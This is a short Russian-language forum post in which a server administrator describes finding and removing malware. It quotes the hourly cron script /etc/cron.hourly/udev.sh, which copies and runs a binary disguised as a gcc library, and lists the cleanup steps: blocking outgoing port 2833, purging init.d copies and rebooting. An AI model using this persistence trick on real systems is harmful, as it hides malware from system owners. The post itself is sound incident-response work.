нашел
/etc/cron.hourly/udev.sh этот скрипт запускает вирус
cat udev.sh
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
cp /lib/libgcc4.so /lib/libgcc4.4.so
/lib/libgcc4.4.so
Пользователь решил продолжить мысль 18 Марта 2015, 14:07:39:
забыл добавить что сначала закрыл исходящие пакеты на порт 2833
потом почистил init.d от всех копий вируса и ребутнул сервер